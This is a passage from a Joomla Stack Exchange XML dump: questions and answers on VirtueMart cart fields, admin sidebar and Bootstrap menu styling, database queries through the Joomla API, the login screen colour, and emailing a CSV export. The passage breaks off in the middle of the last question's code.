  <row Id="15614" PostTypeId="1" CreationDate="2016-03-09T23:49:21.753" Score="0" ViewCount="23" Body="&lt;p&gt;I’m here bugging for your help  ??? :o.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m making a small E-learning website and using VirtueMart for that I’m just stuck editing the shopping-cart form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I’m selling courses I don’t need quantity but need persons when a teacher is ordering a course he need to specify how many students and depending of the student number I need to show field name and email for each before processing the order. But I wasn’t able to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! 3.4.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See picture below for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any help please!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rqogg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rqogg.jpg&quot; alt=&quot;Original Form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4vE0r.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4vE0r.jpg&quot; alt=&quot;Hoping for This Form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7969" LastActivityDate="2016-03-10T16:32:20.840" Title="E-Learning Change quantity to persons and add name and email fields" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ClosedDate="2016-03-13T11:30:07.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="15615" PostTypeId="2" ParentId="15484" CreationDate="2016-03-10T06:24:40.293" Score="0" Body="&lt;p&gt;Add 3 form fields to your workers view:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;manager_date&lt;/li&gt;&#xA;&lt;li&gt;teacher_date&lt;/li&gt;&#xA;&lt;li&gt;advisor_date&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can use a Joomla calendar field type to make it nice and easy for you. In your controllers save function you can take the 3 dates and add them to an array like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assignments = array();&#xA;$assignments['manager_date'] = $manager_date&#xA;$assignments['teacher_date'] = $teacher_date&#xA;$assignments['advisor_date'] = $advisor_date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where $manager_date, $teacher_date, and $advisor_date have been retrieved from the submitted form input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JSON encode the $assignments array and save that to a text field in your workers table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to display the dates elsewhere just json_decode the data and format it with the date function of php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very simple to do and should accomplish exactly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to add the 3 fields in administrator &gt; components &gt; your_component_name &gt; models &gt; forms &gt; workers.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is assuming that your component has a custom save function and is not just using the default Joomla table relationship. Worst case scenario is you override the save function and update function in your controller.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-10T06:24:40.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15616" PostTypeId="2" ParentId="15599" CreationDate="2016-03-10T06:29:25.507" Score="0" Body="&lt;p&gt;You would need a database table to store the relation between articles and their shortlinks, then you would need a plugin to redirect to the correct page via the shortlink that fires before that page gets loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project itself wouldn't be too hard, and actually gives me a good idea for a new plugin / component set.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-10T06:29:25.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15617" PostTypeId="1" AcceptedAnswerId="15621" CreationDate="2016-03-10T08:01:05.037" Score="4" ViewCount="222" Body="&lt;p&gt;I have created sidebar for my custom component by using the documentation -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4090/how-do-i-apply-jhtmlsidebar-to-add-a-sidebar-to-my-admin-view/4091#4091&quot;&gt;How do I apply JHtmlSidebar to add a sidebar to my admin view?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have to add some styling to the Joomla Collapsible Sidebar in admin side.&#xA;I have searched but nothing found related to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the image(this is just an example), Now I need to add some styling or change the design/layout of the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OJVKL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OJVKL.jpg&quot; alt=&quot;Change Joomla Collapsible Sidebar in Backend &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to change the styling/layout of the collapsible sidebar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it possible &lt;strong&gt;&lt;em&gt;without hacking core&lt;/em&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-10T12:59:34.420" Title="How to change styling of Joomla Collapsible Sidebar in Backend?" Tags="|joomla-3.x|component|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15618" PostTypeId="1" AcceptedAnswerId="15619" CreationDate="2016-03-10T08:50:24.937" Score="0" ViewCount="1743" Body="&lt;p&gt;I am not an expert on css or bootstrap but after a while I manage to get a bootstrap nav menu almost finished. What I am missing is the css for the third level menu items. I think this are probably already on the bootstrap css, but maybe I have not added the class names properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the bootstrap css that I have overwritten:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;Bootstrap nav&#xA;**/&#xA;.navbar-default {&#xA;  background-color: #0090e5;&#xA;  border: 0 !important;  &#xA;}&#xA;&#xA;.navbar-default ul {&#xA;    list-style-type: none;&#xA;}&#xA;&#xA;.navbar-default .navbar-brand {&#xA;  color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-brand:hover,&#xA;.navbar-default .navbar-brand:focus {&#xA;  color: #ffffff;&#xA;}&#xA;.navbar-default .navbar-text {&#xA;  color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; li a {&#xA;  color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; li a:hover,&#xA;.navbar-default .navbar-nav &amp;gt; li a:focus {&#xA;  color: #ffffff;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; li .dropdown-menu {&#xA;  background-color: #0090e5;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; li &amp;gt; .dropdown-menu &amp;gt; li a {&#xA;  color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; li &amp;gt; .dropdown-menu &amp;gt; li a:hover,&#xA;.navbar-default .navbar-nav &amp;gt; li &amp;gt; .dropdown-menu &amp;gt; li a:focus {&#xA;  color: #ffffff;&#xA;  background-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; li &amp;gt; .dropdown-menu &amp;gt; li &amp;gt; .divider {&#xA;  background-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-nav .open .dropdown-menu &amp;gt; .active &amp;gt; a,&#xA;.navbar-default .navbar-nav .open .dropdown-menu &amp;gt; .active &amp;gt; a:hover,&#xA;.navbar-default .navbar-nav .open .dropdown-menu &amp;gt; .active &amp;gt; a:focus {&#xA;  color: #ffffff;&#xA;  background-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; .active &amp;gt; a,&#xA;.navbar-default .navbar-nav &amp;gt; .active &amp;gt; a:hover,&#xA;.navbar-default .navbar-nav &amp;gt; .active &amp;gt; a:focus {&#xA;  color: #ffffff;&#xA;  background-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-nav &amp;gt; .open &amp;gt; a,&#xA;.navbar-default .navbar-nav &amp;gt; .open &amp;gt; a:hover,&#xA;.navbar-default .navbar-nav &amp;gt; .open &amp;gt; a:focus {&#xA;  color: #ffffff;&#xA;  background-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-toggle {&#xA;  border-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-toggle:hover,&#xA;.navbar-default .navbar-toggle:focus {&#xA;  background-color: #63b7e8;&#xA;}&#xA;.navbar-default .navbar-toggle .icon-bar {&#xA;  background-color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-collapse,&#xA;.navbar-default .navbar-form {&#xA;  border-color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-link {&#xA;  color: #ecf0f1;&#xA;}&#xA;.navbar-default .navbar-link:hover {&#xA;  color: #ffffff;&#xA;}&#xA;&#xA;@media (max-width: 767px) {&#xA;  .navbar-default .navbar-nav .open .dropdown-menu &amp;gt; li &amp;gt; a {&#xA;    color: #ecf0f1;&#xA;  }&#xA;  .navbar-default .navbar-nav .open .dropdown-menu &amp;gt; li &amp;gt; a:hover,&#xA;  .navbar-default .navbar-nav .open .dropdown-menu &amp;gt; li &amp;gt; a:focus {&#xA;    color: #ffffff;&#xA;  }&#xA;  .navbar-default .navbar-nav .open .dropdown-menu &amp;gt; .active &amp;gt; a,&#xA;  .navbar-default .navbar-nav .open .dropdown-menu &amp;gt; .active &amp;gt; a:hover,&#xA;  .navbar-default .navbar-nav .open .dropdown-menu &amp;gt; .active &amp;gt; a:focus {&#xA;    color: #ffffff;&#xA;    background-color: #63b7e8;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is how I made the nav bar with a javascript to add classes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Begin Navbar --&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-10 col-md-8 col-md-offset-1&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;navbar navbar-default &quot; role=&quot;navigation&quot;&amp;gt;&#xA;                      &amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;                          &amp;lt;div class=&quot;navbar-header&quot;&amp;gt;&#xA;                              &amp;lt;button type=&quot;button&quot; class=&quot;navbar-toggle&quot; data-toggle=&quot;collapse&quot; data-target=&quot;.navbar-collapse&quot;&amp;gt;&#xA;                                  &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                  &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                  &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                              &amp;lt;/button&amp;gt;                            &#xA;                              &amp;lt;div class=&quot;collapse navbar-collapse&quot;&amp;gt;&#xA;                                  &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;menu&quot;/&amp;gt;&#xA;                              &amp;lt;/div&amp;gt; &amp;lt;!-- /.navbar-collapse collapse --&amp;gt;&#xA;                          &amp;lt;/div&amp;gt; &amp;lt;!-- /.container-fluid --&amp;gt;&#xA;                      &amp;lt;/div&amp;gt;&amp;lt;!-- /.navbar .navbar-inverse --&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;!-- End Navbar --&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This comes after the  tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  (function($){&#xA;        jQuery(document).ready(function(){&#xA;          $('.navbar-nav &amp;gt; .parent').addClass('dropdown');&#xA;          $('.navbar-nav &amp;gt; .parent &amp;gt; a').addClass('dropdown-toggle');&#xA;          $('.navbar-nav &amp;gt; .parent &amp;gt; a').attr('data-toggle', 'dropdown');&#xA;          $('.navbar-nav &amp;gt; .parent &amp;gt; a').attr('href','#');&#xA;          $('.navbar-nav &amp;gt; .parent &amp;gt; a').append('&amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt;');&#xA;          $('.navbar-nav &amp;gt; .parent &amp;gt; ul').addClass('dropdown-menu');&#xA;        });&#xA;      })(jQuery);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7967" LastEditorUserId="7967" LastEditDate="2016-03-10T10:21:56.473" LastActivityDate="2016-03-10T10:21:56.473" Title="Third level bootstrap sub-menus" Tags="|css|bootstrap|twitter-bootstrap-2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15619" PostTypeId="2" ParentId="15618" CreationDate="2016-03-10T10:12:49.367" Score="0" Body="&lt;p&gt;Bootstrap 3 removed support for third level sub menus. See this stackoverflow answer for workarounds: &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/18023493/bootstrap-3-dropdown-sub-menu-missing&quot;&gt;https://stackoverflow.com/questions/18023493/bootstrap-3-dropdown-sub-menu-missing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bootstrap 2 this could be interesting:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/17380517/bootstrap-3-level-collapsing-menu&quot;&gt;https://stackoverflow.com/questions/17380517/bootstrap-3-level-collapsing-menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-03-10T10:12:49.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15621" PostTypeId="2" ParentId="15617" CreationDate="2016-03-10T11:23:34.880" Score="4" Body="&lt;p&gt;Well, as per my answer from the link you provided, you'll need to add the following to your &lt;strong&gt;default.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;j-sidebar-container&quot; class=&quot;span2&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;sidebar; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can simply add an extra class after &lt;code&gt;span2&lt;/code&gt;, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;j-sidebar-container&quot; class=&quot;span2 mySidebar&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then apply your own custom styling. For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.mySidebar a {&#xA;     color: #FF0&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if it's structural changes you need to make or adding your own classes inside of the sidebar, you'll need to make a Layout Override for the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROOT/layouts/joomla/sidebars/submenu.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure that you &lt;strong&gt;override&lt;/strong&gt; is and &lt;strong&gt;do not&lt;/strong&gt; edit it directly, as this will apply your changes for every extension that calls the Submenu layout.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-03-10T12:59:34.420" LastActivityDate="2016-03-10T12:59:34.420" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15622" PostTypeId="2" ParentId="15613" CreationDate="2016-03-10T11:29:16.717" Score="0" Body="&lt;p&gt;Try this: Comment out the following line in your template index.php: &lt;pre&gt;jdoc:include type=&quot;head&quot;&lt;/pre&gt;&#xA;If this workaround works for your toggle, there is a conflict between the native joomla-js-library and your bootstrap-js-library.&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2016-03-10T11:29:16.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15624" PostTypeId="1" AcceptedAnswerId="15625" CreationDate="2016-03-10T14:20:20.690" Score="0" ViewCount="1520" Body="&lt;p&gt;I am having an issue with a basic query in PHP. The query runs perfectly in PHPMyAdmin, but in the browser I am getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: mysqli_free_result() expects parameter 1 to be mysqli_result, object given in /home/######/public_html/test.php on line 54&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried single quotes and double quotes but I'm getting nowhere fast. Below is my full code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//display errors&#xA;error_reporting(E_ALL);&#xA;ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;//init Joomla Framework &#xA;define( '_JEXEC', 1 ); &#xA;define( 'JPATH_BASE', dirname(__FILE__).'/' ); // print this out or observe errors to see which directory you should be in (this is two subfolders in) &#xA;define( 'DS', DIRECTORY_SEPARATOR ); &#xA;//echo JPATH_BASE;&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' ); &#xA;require_once ( JPATH_CONFIGURATION   .DS.'configuration.php' ); &#xA;require_once ( JPATH_LIBRARIES .DS.'joomla'.DS.'database'.DS.'database.php' ); &#xA;require_once ( JPATH_LIBRARIES .DS.'import.php' ); &#xA;&#xA;//DB Connection &#xA;$Config = new JConfig(); &#xA;$db_driver      = $Config-&amp;gt;dbtype;   // Database driver name &#xA;$db_host        = $Config-&amp;gt;host;     // Database host name &#xA;$db_user        = $Config-&amp;gt;user;     // User for database authentication &#xA;$db_pass        = $Config-&amp;gt;password; // Password for database authentication &#xA;$db_name        = $Config-&amp;gt;db;       // Database name &#xA;$db_prefix      = $Config-&amp;gt;dbprefix; // Database prefix (may be empty) &#xA;&#xA;// Database prefix (if empty then remove prefixing double underscore) &#xA;$db_prefix      = (trim($db_prefix)==&quot;&quot;) ? &quot;&quot;:$db_prefix; &#xA;//echo $db_prefix;&#xA;&#xA;$db_connect = mysqli_connect($db_host,$db_user,$db_pass); &#xA;&#xA;$content_count = 0; &#xA;&#xA;//CONNECTED! so run a SQL query as per usual &#xA;if (!mysqli_connect_errno()) { &#xA;    $query=&quot;SELECT COUNT(*) as ProductSku FROM &quot;.$db_prefix.&quot;virtuemart_products&quot;;&#xA;    if ($result = mysqli_query($db_connect, $query, MYSQLI_USE_RESULT)) {  &#xA;        while($obj = $result-&amp;gt;fetch_object()){ &#xA;            $content_count = $obj-&amp;gt;ProductSku; &#xA;        } &#xA;    }                 &#xA;}&#xA;&#xA;//echo $query;  &#xA;//echo $content_count;&#xA;mysqli_free_result( $db_connect );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ok, so the code below works fine, but what I want to do is return all records where the &lt;code&gt;created_on&lt;/code&gt; field has today's date. (rather than the simple query I quoted first, this was just to try and get the code working) Thus the query would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT product_sku FROM #__virtuemart_products WHERE created_on &amp;lt;= NOW();&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following this I want to export to a csv file, but I am getting an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function fetch_fields() on a non-object in&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my full code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//display errors&#xA;error_reporting(E_ALL);&#xA;ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;//init Joomla Framework &#xA;define('_JEXEC', 1); &#xA;define('JPATH_BASE', dirname(__FILE__).'/');&#xA;define('DS', DIRECTORY_SEPARATOR); &#xA;&#xA;echo JPATH_BASE;&#xA;&#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'defines.php'); &#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'framework.php');&#xA;&#xA;// Start database stuff&#xA;$db = JFactory::getDbo();&#xA;&#xA;//Select records that were created today &amp;lt;------This works but i can't get it to //work in the joomla API.&#xA;$query = &quot;SELECT product_sku FROM #__virtuemart_products WHERE created_on &amp;lt;= NOW();&quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;&#xA;//print_r($result);&#xA;&#xA;if (!$result) die('Couldn\'t fetch records');&#xA;$headers = $result-&amp;gt;fetch_fields();&#xA;foreach($headers as $header) {&#xA;    $head[] = $header-&amp;gt;name;&#xA;}&#xA;$fp = fopen('/home/#####/public_html/test1.csv', 'x');&#xA;if ($fp &amp;amp;&amp;amp; $result) {&#xA;    fputcsv($fp, array_values($head)); &#xA;    while ($row = $result-&amp;gt;fetch_array(MYSQLI_NUM)) {&#xA;        fputcsv($fp, array_values($row));&#xA;    }&#xA;    die;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2019-05-24T12:28:27.547" LastActivityDate="2019-05-24T13:06:42.017" Title="How to make a mysqli connection and execute a SELECT query in Joomla?" Tags="|php|joomla-3.4|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15625" PostTypeId="2" ParentId="15624" CreationDate="2016-03-10T14:40:50.973" Score="1" Body="&lt;p&gt;You're using the Joomla API, therefore you do not need to use &lt;code&gt;mysqli_&lt;/code&gt; commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('COUNT(*)')&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;echo $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there's no need for manual database connections, because &#xA;&lt;code&gt;JFactory::getDbo()&lt;/code&gt; takes care of this for you, by grabbing the connection details from your &lt;strong&gt;configuration.php&lt;/strong&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database table prefix &lt;code&gt;#__&lt;/code&gt; which you can see in the query is Joomla's generic prefix, which will automatically be replaced with the value defined in your &lt;strong&gt;configuration.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some &lt;code&gt;require&lt;/code&gt; statements that you do not need. Have a look at the full code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//display errors&#xA;error_reporting(E_ALL);&#xA;ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;//init Joomla Framework &#xA;define('_JEXEC', 1); &#xA;define('JPATH_BASE', dirname(__FILE__).'/');&#xA;define('DS', DIRECTORY_SEPARATOR); &#xA;&#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'defines.php'); &#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'framework.php');&#xA;&#xA;// Start database stuff&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('COUNT(*)')&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products'));     &#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;echo $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-10T14:40:50.973" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15626" PostTypeId="2" ParentId="15586" CreationDate="2016-03-10T15:43:39.527" Score="0" Body="&lt;p&gt;It's a long story why stuff became legacy. It is still ok to use them as most extensions in the wild are using the legacy library. The extension in core I'm aware of which is using the &quot;new&quot; MVC is com_config. But I guess you are good to go using the legacy classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would like to give you a better answer, but it is how it is :-)&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2016-03-10T15:43:39.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15627" PostTypeId="2" ParentId="15614" CreationDate="2016-03-10T16:32:20.840" Score="1" Body="&lt;p&gt;I believe you're thinking about this the wrong way. It's not something that should be hacked into the checkout. You need what I believe is a modified Product Options plugin. Basically on the product page, it needs to ask you how many students, and then give you the fields to fill out there before you can add the item to your shopping cart. I'd suggest you find a Virtuemart developer who could write a plugin for you that could extend Virtuemart in this manner.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2016-03-10T16:32:20.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15628" PostTypeId="2" ParentId="9102" CreationDate="2016-03-10T18:07:12.973" Score="-4" Body="&lt;p&gt;Check the folders and files permissions. Тhey should be 711 for folders and 644 for files. &lt;/p&gt;&#xA;" OwnerUserId="7978" LastActivityDate="2016-03-10T18:07:12.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15629" PostTypeId="1" AcceptedAnswerId="15630" CreationDate="2016-03-10T19:25:44.023" Score="2" ViewCount="504" Body="&lt;p&gt;On a couple of 3.4.8 sites I manage, the login screen has changed from blue to black. I have found this code in the index.php file of the admin template (isis).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* Template color */&#xA;    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('templateColor')) : ?&amp;gt;&#xA;    .view-login {&#xA;        background: &amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('templateColor'); ?&amp;gt;;&#xA;    }&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the page is rendered the html looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/* Template color */&#xA;                .view-login {&#xA;            background: #000000;&#xA;        }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's inline, so a style sheet won't override it. I've looked in every file in the template manager and can't figure out where it's getting the black from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7980" LastActivityDate="2016-03-10T19:34:00.233" Title="The background color of my login screen turned black. How do I change it back to the default?" Tags="|login|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15630" PostTypeId="2" ParentId="15629" CreationDate="2016-03-10T19:34:00.233" Score="3" Body="&lt;p&gt;&lt;code&gt;$this-&amp;gt;params-&amp;gt;get&lt;/code&gt; means there is a parameter in your Template options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply go go:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions &gt;&gt; Templates &gt;&gt; Isis &gt;&gt; Advanced&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then the color parameter you need to change it &quot;&lt;strong&gt;Nav Bar Colour&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;See screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DxgzZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxgzZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-10T19:34:00.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15631" PostTypeId="1" AcceptedAnswerId="15634" CreationDate="2016-03-10T19:34:02.987" Score="0" ViewCount="612" Body="&lt;p&gt;I am trying to email the results of a query as an attached .csv file to my admin email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code correctly saves the .csv file, but the email is never actually sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put the &lt;code&gt;sendmail&lt;/code&gt; code into its own php document, it does send the mail. I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//display errors&#xA;error_reporting(E_ALL);&#xA;ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;//init Joomla Framework &#xA;define('_JEXEC', 1); &#xA;define('JPATH_BASE', dirname(__FILE__).'/');&#xA;define('JPATH_COMPONENT',dirname(__FILE__).'/');&#xA;define('DS', DIRECTORY_SEPARATOR); &#xA;&#xA;//echo JPATH_BASE;&#xA;&#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'defines.php'); &#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'framework.php');&#xA;&#xA;// Start database stuff&#xA;$db = JFactory::getDbo();&#xA;&#xA;//Select records that were created 